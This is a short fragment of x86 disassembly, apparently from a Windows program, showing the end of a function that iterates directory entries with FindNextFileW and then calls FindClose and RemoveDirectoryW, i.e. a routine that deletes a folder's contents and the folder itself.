lea eax, [ebp - 0x20c]
push eax
je 0x403757
call fcn.004035d0
add esp, 4
mov bl, al
jmp 0x403759
call edi
lea eax, [ebp - 0x86c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x403660
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
push dword [ebp - 0x870]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov ecx, dword [ebp - 4]
neg eax
sbb al, al
and al, bl
pop esi
xor ecx, ebp
pop ebx
call fcn.0040e6b5
mov esp, ebp
pop ebp
ret